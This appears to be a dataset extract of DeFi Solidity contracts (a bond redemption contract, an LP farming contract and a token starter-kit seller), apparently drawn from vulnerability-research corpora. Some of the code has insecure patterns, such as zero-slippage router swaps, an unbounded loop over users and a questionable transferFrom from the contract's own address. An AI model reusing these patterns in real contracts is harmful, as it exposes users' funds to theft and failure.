emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Roles {
struct Role {
mapping(address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract ManagerRole {
using Roles for Roles.Role;
event ManagerAdded(address indexed account);
event ManagerRemoved(address indexed account);
Roles.Role private managers;
constructor() {
_addManager(msg.sender);
}
modifier onlyManager() {
require(isManager(msg.sender));
_;
}
function isManager(address account) public view returns (bool) {
return managers.has(account);
}
function addManager(address account) public onlyManager {
_addManager(account);
}
function renounceManager() public {
_removeManager(msg.sender);
}
function _addManager(address account) internal {
managers.add(account);
emit ManagerAdded(account);
}
function _removeManager(address account) internal {
managers.remove(account);
emit ManagerRemoved(account);
}
}
interface IdYelToken {
function burn(address from, uint256 amount) external returns (bool);
}
contract BondReverse is ManagerRole, Ownable, Pausable {
address public dYelToken;
ERC20 public immutable USDC;
address public ownerA8 = 0x4e5b3043FEB9f939448e2F791a66C4EA65A315a8;
uint256 public percent = 10; // uses for checking price difference
uint256 public percentPenalty = 10; // 5% = 5
uint256 public currentPrice;
uint256 public minDepositAmount;
constructor (address _token, address _USDC) {
require(_token != address(0), "BondReverse: Token address can not be zero");
dYelToken = _token;
USDC = ERC20(_USDC);
currentPrice = 10000 * 1e6; // decimals of usdc token
minDepositAmount = 1e11; // 0,0000001 dYel
}
function claim(uint256 _amount) external whenNotPaused {
require(_amount != 0, "BondReverse: The amount of tokens can not be zero");
// sender have to approve his tokens
IdYelToken(dYelToken).burn(msg.sender, _amount);
// ua = userAmount, oa = _ownerAmount
(uint256 ua, uint256 oa) = valueOfDYEL(_amount);
require(ua != 0 || oa != 0,
"BondReverse: The result of valueOfDYEL has zero value. Try to claim more tokens");
require(ua+oa <= USDC.balanceOf(address(this)), "It's not enough USDC on the smart contract for claiming");
USDC.transferFrom(address(this), ownerA8, oa);
USDC.transferFrom(address(this), msg.sender, ua);
}
function withdrawUSDC(uint256 _amount, address _address) external onlyOwner {
USDC.transferFrom(address(this), _address, _amount);
}
function setPriceInUSDC(uint256 _price) external onlyManager {
if(isManager(msg.sender)){
require(returnPercentPrice(_price) < percent, "BondReverse: The price difference is more than previous");
}
currentPrice = _price;
}
function setMinDeposit(uint256 _newMinAmount) external onlyOwner {
require(_newMinAmount > 0, "BondReverse: The _newMinAmount can not be zero");
minDepositAmount = _newMinAmount;
}
function returnPercentPrice(uint256 _newPrice) view public returns (uint256 _percentDelta) {
require(_newPrice != currentPrice, "BondReverse: The prices are the same");
uint256 _percentTotal = (_newPrice * 100) / currentPrice;
if(_newPrice > currentPrice) {
_percentDelta = _percentTotal - 100;
} else {
_percentDelta = 100 - _percentTotal;
}
}
function valueOfDYEL(uint256 _dYelAmount) public view returns (uint256 _userAmount, uint256 _ownerAmount) {
require(_dYelAmount > minDepositAmount, "BondReverse: amount of dYel token is too low");
uint256 _totalAmountUSDC = _dYelAmount * currentPrice / 1e18;
uint256 _penaltyAmount = _totalAmountUSDC * percentPenalty / 100;
_userAmount = _totalAmountUSDC - _penaltyAmount;
_ownerAmount = _penaltyAmount / 2;
}
receive() external payable {
revert("You can not send funds to the contract");
}
}
| 92,591 | 10,802 |
1e84f189ffcbf4729318bc3fa8fbd4730600ebf72a03fb45082b3548633b5d61
| 23,325 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/1e/1eb9bae3945ea30f102211239f324583ec8ee243_DaddyLPFarms.sol
| 5,987 | 22,619 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.8;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDexFactory {
function getPair(address tokenA, address tokenB) external view returns(address);
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline) external payable returns (uint256 amountToken,
uint256 amountETH,
uint256 liquidity);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}
contract DaddyLPFarms {
// DATA
address private _operator;
address private _feeReceiver;
address private _devWallet;
address private _daddy;
address private _daddyLP;
address private _router;
mapping(address => bool) _auth;
mapping(address => bool) _authRobot;
uint256 public _depositFee;
uint256 public _zapFee;
uint256 public _marketFee;
uint256 public _burnFee;
uint256 private _lastEU;
uint256 private _totalToDistribute;
uint256 private _distRate;
mapping(address => POOL) _pool;
struct POOL {
bool active;
uint256 pendingTotal;
uint256 userTotal;
uint256 depositFee;
uint256 emissions;
uint256 totalToDistribute;
address[] users;
mapping(address => bool) isUser;
mapping(address => uint256) uIndex;
mapping(address => uint256) uDeposit;
mapping(address => uint256) uPending;
}
constructor(address daddy, address router){
_operator = msg.sender;
_feeReceiver = msg.sender;
_devWallet = msg.sender;
_auth[msg.sender] = true;
_daddy = daddy;
_router = router;
_daddyLP = _getPair();
}
receive() external payable {}
// VIEW
function getDaddy() public view returns(address){ return _daddy; }
function getLP() public view returns(address){ return _daddyLP; }
function getUserDeposit(address pool, address user) public view returns(uint256){ return _pool[pool].uDeposit[user]; }
function getUserPending(address pool, address user) public view returns(uint256){ return _pool[pool].uPending[user]; }
function getUserTotal(address pool) public view returns(uint256){ return _pool[pool].userTotal; }
function getPendingDistribution(address pool) public view returns(uint256){ return _pool[pool].totalToDistribute; }
function getEmissions(address pool) public view returns(uint256){ return _pool[pool].emissions; }
function getUserAPR(address pool, address user) public view returns(uint256){
uint256 poolDist = (_distRate * _pool[pool].emissions) / 100;
uint256 annualPool = poolDist * 31536000;
uint256 uPer = (_pool[pool].uDeposit[user] * 10000) / _pool[pool].userTotal;
uint256 uVal = (annualPool * uPer) / 10000;
uint256 uAPR = (uVal * 100) / _pool[pool].uDeposit[user];
return uAPR;
}
function getPoolAPR(address pool) public view returns(uint256){
uint256 poolDist = (_distRate * _pool[pool].emissions) / 100;
uint256 annualPool = poolDist * 31536000;
uint256 userPool = _pool[pool].userTotal;
uint256 tAPR = (annualPool * 100) / userPool;
return tAPR;
}
// ACTIVE
function zapETH() public payable open(_daddyLP) goodRobot {
require(msg.value != 0, "Cannot zap the nothingness");
uint256 zapValue = msg.value;
if(_zapFee != 0){
uint256 zFee = (zapValue * _zapFee) / 10000;
zapValue -= zFee;
_processFee(address(0), zFee);
}
uint256 eValue = zapValue / 2;
uint256 tValue = _swapToken(eValue, false);
uint256 zapRec = _addLiquidity(eValue, tValue);
if(!_pool[_daddyLP].isUser[msg.sender]){ _modUser(msg.sender, _daddyLP, true); }
_pool[_daddyLP].uDeposit[msg.sender] += zapRec;
_pool[_daddyLP].userTotal += zapRec;
_updateEmission();
_tricycle(_daddyLP);
}
function zapToken(uint256 value) public open(_daddyLP) goodRobot {
require(value != 0, "Cannot zap the nothingness");
uint256 zapValue = _tokenIntake(_daddy, msg.sender, value);
if(_zapFee != 0){
uint256 zFee = (zapValue * _zapFee) / 10000;
zapValue -= zFee;
_processFee(_daddy, zFee);
}
uint256 tValue = zapValue / 2;
uint256 eValue = _swapToken(tValue, true);
uint256 zapRec = _addLiquidity(eValue, tValue);
if(!_pool[_daddyLP].isUser[msg.sender]){ _modUser(msg.sender, _daddyLP, true); }
_pool[_daddyLP].uDeposit[msg.sender] += zapRec;
_pool[_daddyLP].userTotal += zapRec;
_updateEmission();
_tricycle(_daddyLP);
}
function removeLiquidity(uint256 value, bool getToken) public {
uint256 lValue = _tokenIntake(_daddyLP, msg.sender, value);
(uint256 rETH, uint256 rToken) = _removeLiquidity(lValue);
if(getToken){
uint256 rToken1 = _swapToken(rETH, false);
IERC20(_daddy).transfer(msg.sender, rToken + rToken1);
} else {
IERC20(_daddy).transfer(msg.sender, rToken);
(bool success,) = payable(msg.sender).call{ value: rETH }("");
require(success, "User Denied Transfer");
}
}
function deposit(address token, uint256 value) public open(token) goodRobot {
require(value != 0, "Cannot deposit Nothing");
uint256 depVal = _tokenIntake(token, msg.sender, value);
if(_pool[token].depositFee != 0){
uint256 dFee = (depVal * _pool[token].depositFee) / 10000;
depVal -= dFee;
_processFee(token, dFee);
}
if(!_pool[token].isUser[msg.sender]){ _modUser(msg.sender, token, true); }
_pool[token].uDeposit[msg.sender] += depVal;
_pool[token].userTotal += depVal;
_updateEmission();
_tricycle(token);
}
function withdraw(address token, uint256 value) public {
require(_pool[token].uDeposit[msg.sender] >= value);
_pool[token].uDeposit[msg.sender] -= value;
_pool[token].userTotal -= value;
if(_pool[token].uDeposit[msg.sender] == 0){ _modUser(msg.sender, token, false); }
if(_pool[token].uPending[msg.sender] != 0){
uint256 pValue = _pool[token].uPending[msg.sender];
_pool[token].uPending[msg.sender] = 0;
_pool[token].pendingTotal -= pValue;
IERC20(_daddy).transfer(msg.sender, pValue);
} IERC20(token).transfer(msg.sender, value);
_updateEmission();
_tricycle(token);
}
function emergencyWithdraw(address pool) public {
require(_pool[pool].uDeposit[msg.sender] != 0, "User not found");
uint256 uValue = _pool[pool].uDeposit[msg.sender];
_pool[pool].uDeposit[msg.sender] = 0;
_pool[pool].userTotal -= uValue;
_modUser(msg.sender, pool, false);
IERC20(pool).transfer(msg.sender, uValue);
}
function claimPending(address pool, bool compound) public goodRobot {
require(_pool[pool].uPending[msg.sender] != 0, "Nothing to collect");
uint256 value = _pool[pool].uPending[msg.sender];
_pool[pool].uPending[msg.sender] = 0;
_pool[pool].pendingTotal -= value;
if(!compound){ IERC20(_daddy).transfer(msg.sender, value); }
else {
if(pool == _daddy){
require(_pool[_daddy].active, "Compound currently disabled");
if(!_pool[_daddy].isUser[msg.sender]){ _modUser(msg.sender, _daddy, true); }
_pool[pool].uDeposit[msg.sender] += value;
_pool[pool].userTotal += value;
} else if(pool == _daddyLP){
require(_pool[_daddyLP].active, "Compound currently disabled");
if(!_pool[_daddyLP].isUser[msg.sender]){ _modUser(msg.sender, _daddyLP, true); }
uint256 tValue = value / 2;
uint256 eValue = _swapToken(tValue, true);
uint256 pValue = _addLiquidity(eValue, tValue);
_pool[pool].uDeposit[msg.sender] += pValue;
_pool[pool].userTotal += pValue;
} else { revert("Invalid Pool"); }
}
}
// OPERATIONS
function setAuthState(address user, bool state) public OP { _auth[user] = state; }
function setAuthRobot(address bot, bool state) public OP { _authRobot[bot] = state; }
function emergencyResetTime() public OP { _lastEU = block.timestamp; }
function setFeeReceiver(address account) public OP { _feeReceiver = account; }
function setDevWallet(address account) public dev { _devWallet = account; }
function setDistRate(uint256 rate) public OP { _distRate = rate; }
function setEmissions(uint256 token, uint256 LP) public OP {
require(token + LP == 100, "Invalid range");
if(token == 0){ _pool[_daddy].active = false; }
else { if(!_pool[_daddy].active){ _pool[_daddy].active = true; }}
if(LP == 0){ _pool[_daddyLP].active = false; }
else{ if(!_pool[_daddyLP].active){ _pool[_daddyLP].active = true; }}
_pool[_daddy].emissions = token;
_pool[_daddyLP].emissions = LP;
}
function transferOperator(address newOP) public OP {
require(newOP != address(0), "Contract cannot be Renounced");
_operator = newOP;
}
function setPoolFee(address pool, uint256 fee) public OP {
require(fee <= 200, "Fee Capped at 2%");
_pool[pool].depositFee = fee;
}
function setZapFee(uint256 fee) public OP {
require(fee <= 200, "Fee Capped at 2%");
_zapFee = fee;
}
function setBurnFee(uint256 fee) public OP {
require(fee + _marketFee <= 100);
_burnFee = fee;
}
function setMarketFee(uint256 fee) public OP {
require(fee + _burnFee <= 100);
_marketFee = fee;
}
function collectExcess(address token) public OP {
uint256 userToken = _pool[token].userTotal;
if(token == _daddy){
uint256 uValue = _pool[_daddy].pendingTotal + _pool[_daddy].totalToDistribute
+ _pool[_daddyLP].pendingTotal + _pool[_daddyLP].totalToDistribute + _totalToDistribute;
userToken += uValue;
require(IERC20(_daddy).balanceOf(address(this)) > userToken);
uint256 send = IERC20(token).balanceOf(address(this)) - userToken;
IERC20(_daddy).transfer(_feeReceiver, send);
} else if(token == address(0)){
payable(_feeReceiver).transfer(address(this).balance);
} else {
uint256 send = IERC20(token).balanceOf(address(this)) - userToken;
IERC20(token).transfer(_feeReceiver, send);
}
}
function initialSetup(uint256 value, uint256 dRate, uint256 tRate, uint256 lRate) public OP {
require(tRate + lRate == 100, "Invalid emission range");
uint256 iValue = _tokenIntake(_daddy, msg.sender, value);
_lastEU = block.timestamp;
_totalToDistribute += iValue;
_distRate = dRate;
if(tRate != 0){
_pool[_daddy].active = true;
_pool[_daddy].emissions = tRate;
} if(lRate != 0){
_pool[_daddyLP].active = true;
_pool[_daddyLP].emissions = lRate;
}
}
function inject(uint256 value) public auth {
uint256 injection = _tokenIntake(_daddy, msg.sender, value);
_totalToDistribute += injection;
}
function directInject(uint256 value) public auth {
uint256 injection = _tokenIntake(_daddy, msg.sender, value);
if(_pool[_daddy].emissions != 0){
uint256 tInject = (injection * _pool[_daddy].emissions) / 100;
_pool[_daddy].totalToDistribute += tInject;
} if(_pool[_daddyLP].emissions != 0){
uint256 lInject = (injection * _pool[_daddyLP].emissions) / 100;
_pool[_daddyLP].totalToDistribute += lInject;
}
}
// INTERNAL
function _tokenIntake(address token, address from, uint256 value) internal returns(uint256){
require(IERC20(token).allowance(from, address(this)) >= value, "Insufficient Allowance");
require(IERC20(token).balanceOf(from) >= value, "Insufficient Balance");
uint256 spotToken = IERC20(token).balanceOf(address(this));
IERC20(token).transferFrom(from, address(this), value);
uint256 recToken = IERC20(token).balanceOf(address(this)) - spotToken;
require(recToken != 0, "Token Transfer Failed");
return recToken;
}
function _processFee(address token, uint256 value) internal {
uint256 mFee;
uint256 bFee;
uint256 dFee;
if(_marketFee != 0){ mFee = (value * _marketFee) / 100; }
if(_burnFee != 0){ bFee = (value * _burnFee) / 100; }
if(token == address(0)){
dFee = value - mFee;
if(mFee != 0){ payable(_feeReceiver).transfer(mFee); }
if(dFee != 0){ payable(_devWallet).transfer(dFee); }
} else {
dFee = value - (mFee + bFee);
if(mFee != 0){ IERC20(token).transfer(_feeReceiver, mFee); }
if(dFee != 0){ IERC20(token).transfer(_devWallet, dFee); }
if(bFee != 0){ IERC20(token).transfer(address(0xdead), bFee); }
}
}
function _modUser(address user, address pool, bool add) internal {
if(add){
_pool[pool].isUser[user] = true;
_pool[pool].uIndex[user] = _pool[pool].users.length;
_pool[pool].users.push(user);
} else {
uint256 lastIndex = _pool[pool].users.length-1;
uint256 thisIndex = _pool[pool].uIndex[user];
address lastUser = _pool[pool].users[lastIndex];
_pool[pool].users[thisIndex] = lastUser;
_pool[pool].uIndex[lastUser] = thisIndex;
_pool[pool].isUser[user] = false;
_pool[pool].users.pop();
delete _pool[pool].uIndex[user];
}
}
function _swapToken(uint256 value, bool sell) internal returns(uint256){
if(sell){
address[] memory path = new address[](2);
path[0] = _daddy;
path[1] = IDexRouter(_router).WETH();
uint256 spotETH = address(this).balance;
IERC20(_daddy).approve(_router, value);
IDexRouter(_router).swapExactTokensForETHSupportingFeeOnTransferTokens
(value, 0, path, address(this), block.timestamp);
uint256 recETH = address(this).balance - spotETH;
require(recETH != 0, "Swap Failed");
return recETH;
} else {
address[] memory path = new address[](2);
path[0] = IDexRouter(_router).WETH();
path[1] = _daddy;
uint256 spotToken = IERC20(_daddy).balanceOf(address(this));
IDexRouter(_router).swapExactETHForTokensSupportingFeeOnTransferTokens{ value: value }
(0, path, address(this), block.timestamp);
uint256 recToken = IERC20(_daddy).balanceOf(address(this)) - spotToken;
require(recToken != 0, "Swap Failed");
return recToken;
}
}
function _addLiquidity(uint256 eValue, uint256 tValue) internal returns(uint256){
uint256 spotPair = IERC20(_daddyLP).balanceOf(address(this));
IERC20(_daddy).approve(_router, tValue);
IDexRouter(_router).addLiquidityETH{ value: eValue }
(_daddy, tValue, 0, 0, address(this), block.timestamp);
uint256 recPair = IERC20(_daddyLP).balanceOf(address(this)) - spotPair;
require(recPair != 0, "LP Creation failed");
return recPair;
}
function _removeLiquidity(uint256 pValue) internal returns(uint256,uint256){
uint256 spotToken = IERC20(_daddy).balanceOf(address(this));
uint256 spotETH = address(this).balance;
IERC20(_daddyLP).approve(_router, pValue);
IDexRouter(_router).removeLiquidityETHSupportingFeeOnTransferTokens
(_daddy, pValue, 0, 0, address(this), block.timestamp);
uint256 recToken = IERC20(_daddy).balanceOf(address(this)) - spotToken;
uint256 recETH = address(this).balance - spotETH;
require(recToken != 0 && recETH != 0, "LP Destruction Failed");
return(recETH,recToken);
}
function _updateEmission() internal {
if(_lastEU + 60 <= block.timestamp){
uint256 pastEpoch = block.timestamp - _lastEU;
uint256 dValue = _distRate * pastEpoch;
if(dValue <= _totalToDistribute){
_lastEU = block.timestamp;
if(_pool[_daddy].emissions != 0){
uint256 tInject = (dValue * _pool[_daddy].emissions) / 100;
_pool[_daddy].totalToDistribute += tInject;
} if(_pool[_daddyLP].emissions != 0){
uint256 lInject = (dValue * _pool[_daddyLP].emissions) / 100;
_pool[_daddyLP].totalToDistribute += lInject;
} _totalToDistribute -= dValue;
} else {
if(_totalToDistribute != 0){
_lastEU = block.timestamp;
if(_pool[_daddy].emissions != 0){
uint256 tInject = (_totalToDistribute * _pool[_daddy].emissions) / 100;
_pool[_daddy].totalToDistribute += tInject;
} if(_pool[_daddyLP].emissions != 0){
uint256 lInject = (_totalToDistribute * _pool[_daddyLP].emissions) / 100;
_pool[_daddyLP].totalToDistribute += lInject;
} _totalToDistribute = 0;
}
}
}
}
function _tricycle(address token) internal {
if(_pool[token].totalToDistribute >= _pool[token].users.length * 10000){
uint256 distributed;
for(uint256 u = 0; u < _pool[token].users.length; u++){
address user = _pool[token].users[u];
uint256 uPer = (_pool[token].uDeposit[user] * 10000) / _pool[token].userTotal;
uint256 uCut = (_pool[token].totalToDistribute * uPer) / 10000;
_pool[token].uPending[user] += uCut;
distributed += uCut;
} _pool[token].pendingTotal += distributed;
_pool[token].totalToDistribute -= distributed;
}
}
function _getPair() internal view returns(address){
address factory = IDexRouter(_router).factory();
address weth = IDexRouter(_router).WETH();
address pair = IDexFactory(factory).getPair(weth, _daddy);
require(pair != address(0), "Cannot locate pair");
return pair;
}
function isContract(address account) internal view returns(bool){
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
// MODIFIERS
modifier OP(){ require(msg.sender == _operator); _; }
modifier auth(){ require(_auth[msg.sender], "User does not have permission"); _; }
modifier dev(){ require(msg.sender == _devWallet); _; }
modifier goodRobot(){ if(isContract(msg.sender)){ require(_authRobot[msg.sender], "Bad Robot!"); } _; }
modifier open(address pool){ require(_pool[pool].active, "Pool is closed"); _; }
}
| 332,340 | 10,803 |
307846bdd58f439af7d411ec4c9802602445ffca9e62ac350fed917ec16b1cc7
| 13,402 |
.sol
|
Solidity
| false |
627794329
|
uni-due-syssec/efcf-framework
|
c3088c935f567dc7fc286475d6759204b6e44ef5
|
data/smartbugs-top-1000-balance/0x85cef9f957c644e91c081eef2e5da318458778b1.sol
| 3,432 | 11,727 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/// @title Starter Kit Contract
/// @author Julia Altenried, Yuriy Kashnikov
contract StarterKit is Ownable {
uint256 public constant COPPER_AMOUNT_NDC = 1000 * 10**18;
uint256 public constant COPPER_AMOUNT_TPT = 1500 * 10**18;
uint256 public constant COPPER_AMOUNT_SKL = 25 * 10**18;
uint256 public constant COPPER_AMOUNT_XPER = 12 * 10**2;
uint256 public constant BRONZE_AMOUNT_NDC = 2000 * 10**18;
uint256 public constant BRONZE_AMOUNT_TPT = 4000 * 10**18;
uint256 public constant BRONZE_AMOUNT_SKL = 50 * 10**18;
uint256 public constant BRONZE_AMOUNT_XPER = 25 * 10**2;
uint256 public constant SILVER_AMOUNT_NDC = 11000 * 10**18;
uint256 public constant SILVER_AMOUNT_TPT = 33000 * 10**18;
uint256 public constant SILVER_AMOUNT_SKL = 100 * 10**18;
uint256 public constant SILVER_AMOUNT_XPER = 50 * 10**2;
uint256 public constant GOLD_AMOUNT_NDC = 25000 * 10**18;
uint256 public constant GOLD_AMOUNT_TPT = 100000 * 10**18;
uint256 public constant GOLD_AMOUNT_SKL = 200 * 10**18;
uint256 public constant GOLD_AMOUNT_XPER = 100 * 10**2;
uint256 public constant PLATINUM_AMOUNT_NDC = 250000 * 10**18;
uint256 public constant PLATINUM_AMOUNT_TPT = 1250000 * 10**18;
uint256 public constant PLATINUM_AMOUNT_SKL = 2000 * 10**18;
uint256 public constant PLATINUM_AMOUNT_XPER = 500 * 10**2;
ERC20 public tpt;
ERC20 public ndc;
ERC20 public skl;
ERC20 public xper;
address public neverdieSigner;
event BuyCopper(address indexed to,
uint256 CopperPrice,
uint256 value);
event BuyBronze(address indexed to,
uint256 BronzePrice,
uint256 value);
event BuySilver(address indexed to,
uint256 SilverPrice,
uint256 value);
event BuyGold(address indexed to,
uint256 GoldPrice,
uint256 value);
event BuyPlatinum(address indexed to,
uint256 PlatinumPrice,
uint256 value);
/// @dev handy constructor to initialize StarerKit with a set of proper parameters
/// @param _tptContractAddress TPT token address
/// @param _ndcContractAddress NDC token address
/// @param _signer signer address
function StarterKit(address _tptContractAddress, address _ndcContractAddress,
address _sklContractAddress, address _xperContractAddress,
address _signer) public {
tpt = ERC20(_tptContractAddress);
ndc = ERC20(_ndcContractAddress);
skl = ERC20(_sklContractAddress);
xper = ERC20(_xperContractAddress);
neverdieSigner = _signer;
}
function setNDCContractAddress(address _to) external onlyOwner {
ndc = ERC20(_to);
}
function setTPTContractAddress(address _to) external onlyOwner {
tpt = ERC20(_to);
}
function setSKLContractAddress(address _to) external onlyOwner {
skl = ERC20(_to);
}
function setXPERContractAddress(address _to) external onlyOwner {
xper = ERC20(_to);
}
function setSignerAddress(address _to) external onlyOwner {
neverdieSigner = _to;
}
/// @dev buy Copper with ether
/// @param _CopperPrice price in Wei
/// @param _expiration expiration timestamp
/// @param _v ECDCA signature
/// @param _r ECDSA signature
/// @param _s ECDSA signature
function buyCopper(uint256 _CopperPrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s) payable external {
// Check if the signature did not expire yet by inspecting the timestamp
require(_expiration >= block.timestamp);
// Check if the signature is coming from the neverdie address
address signer = ecrecover(keccak256(_CopperPrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _CopperPrice);
assert(ndc.transfer(msg.sender, COPPER_AMOUNT_NDC)
&& tpt.transfer(msg.sender, COPPER_AMOUNT_TPT)
&& skl.transfer(msg.sender, COPPER_AMOUNT_SKL)
&& xper.transfer(msg.sender, COPPER_AMOUNT_XPER));
// Emit BuyCopper event
emit BuyCopper(msg.sender, _CopperPrice, msg.value);
}
/// @dev buy Bronze with ether
/// @param _BronzePrice price in Wei
/// @param _expiration expiration timestamp
/// @param _v ECDCA signature
/// @param _r ECDSA signature
/// @param _s ECDSA signature
function buyBronze(uint256 _BronzePrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s) payable external {
// Check if the signature did not expire yet by inspecting the timestamp
require(_expiration >= block.timestamp);
// Check if the signature is coming from the neverdie address
address signer = ecrecover(keccak256(_BronzePrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _BronzePrice);
assert(ndc.transfer(msg.sender, BRONZE_AMOUNT_NDC)
&& tpt.transfer(msg.sender, BRONZE_AMOUNT_TPT)
&& skl.transfer(msg.sender, BRONZE_AMOUNT_SKL)
&& xper.transfer(msg.sender, BRONZE_AMOUNT_XPER));
// Emit BuyBronze event
emit BuyBronze(msg.sender, _BronzePrice, msg.value);
}
/// @dev buy Silver with ether
/// @param _SilverPrice price in Wei
/// @param _expiration expiration timestamp
/// @param _v ECDCA signature
/// @param _r ECDSA signature
/// @param _s ECDSA signature
function buySilver(uint256 _SilverPrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s) payable external {
// Check if the signature did not expire yet by inspecting the timestamp
require(_expiration >= block.timestamp);
// Check if the signature is coming from the neverdie address
address signer = ecrecover(keccak256(_SilverPrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _SilverPrice);
assert(ndc.transfer(msg.sender, SILVER_AMOUNT_NDC)
&& tpt.transfer(msg.sender, SILVER_AMOUNT_TPT)
&& skl.transfer(msg.sender, SILVER_AMOUNT_SKL)
&& xper.transfer(msg.sender, SILVER_AMOUNT_XPER));
// Emit BuySilver event
emit BuySilver(msg.sender, _SilverPrice, msg.value);
}
/// @dev buy Gold with ether
/// @param _GoldPrice price in Wei
/// @param _expiration expiration timestamp
/// @param _v ECDCA signature
/// @param _r ECDSA signature
/// @param _s ECDSA signature
function buyGold(uint256 _GoldPrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s) payable external {
// Check if the signature did not expire yet by inspecting the timestamp
require(_expiration >= block.timestamp);
// Check if the signature is coming from the neverdie address
address signer = ecrecover(keccak256(_GoldPrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _GoldPrice);
assert(ndc.transfer(msg.sender, GOLD_AMOUNT_NDC)
&& tpt.transfer(msg.sender, GOLD_AMOUNT_TPT)
&& skl.transfer(msg.sender, GOLD_AMOUNT_SKL)
&& xper.transfer(msg.sender, GOLD_AMOUNT_XPER));
// Emit BuyGold event
emit BuyGold(msg.sender, _GoldPrice, msg.value);
}
/// @dev buy Platinum with ether
/// @param _PlatinumPrice price in Wei
/// @param _expiration expiration timestamp
/// @param _v ECDCA signature
/// @param _r ECDSA signature
/// @param _s ECDSA signature
function buyPlatinum(uint256 _PlatinumPrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s) payable external {
// Check if the signature did not expire yet by inspecting the timestamp
require(_expiration >= block.timestamp);
// Check if the signature is coming from the neverdie address
address signer = ecrecover(keccak256(_PlatinumPrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _PlatinumPrice);
assert(ndc.transfer(msg.sender, PLATINUM_AMOUNT_NDC)
&& tpt.transfer(msg.sender, PLATINUM_AMOUNT_TPT)
&& skl.transfer(msg.sender, PLATINUM_AMOUNT_SKL)
&& xper.transfer(msg.sender, PLATINUM_AMOUNT_XPER));
// Emit BuyPlatinum event
emit BuyPlatinum(msg.sender, _PlatinumPrice, msg.value);
}
/// @dev withdraw all ether
function withdrawEther() external onlyOwner {
owner.transfer(this.balance);
}
function withdraw() public onlyOwner {
uint256 allNDC= ndc.balanceOf(this);
uint256 allTPT = tpt.balanceOf(this);
uint256 allSKL = skl.balanceOf(this);
uint256 allXPER = xper.balanceOf(this);
if (allNDC > 0) ndc.transfer(msg.sender, allNDC);
if (allTPT > 0) tpt.transfer(msg.sender, allTPT);
if (allSKL > 0) skl.transfer(msg.sender, allSKL);
if (allXPER > 0) xper.transfer(msg.sender, allXPER);
}
/// @dev withdraw token
/// @param _tokenContract any kind of ERC20 token to withdraw from
function withdrawToken(address _tokenContract) external onlyOwner {
ERC20 token = ERC20(_tokenContract);
uint256 balance = token.balanceOf(this);
assert(token.transfer(owner, balance));
}
/// @dev kill contract, but before transfer all tokens and ether to owner
function kill() onlyOwner public {
withdraw();
selfdestruct(owner);
}
}
| 270,514 | 10,804 |
9ec4db1a5dc06b60bbfde26f092cee10a204041f8fd7fb3576ae48414cb7a37a
| 18,083 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/0d/0D0f7e76d7115106A1D8AC416178f18DbdFe3F04_Distributor.sol
| 3,975 | 15,701 |
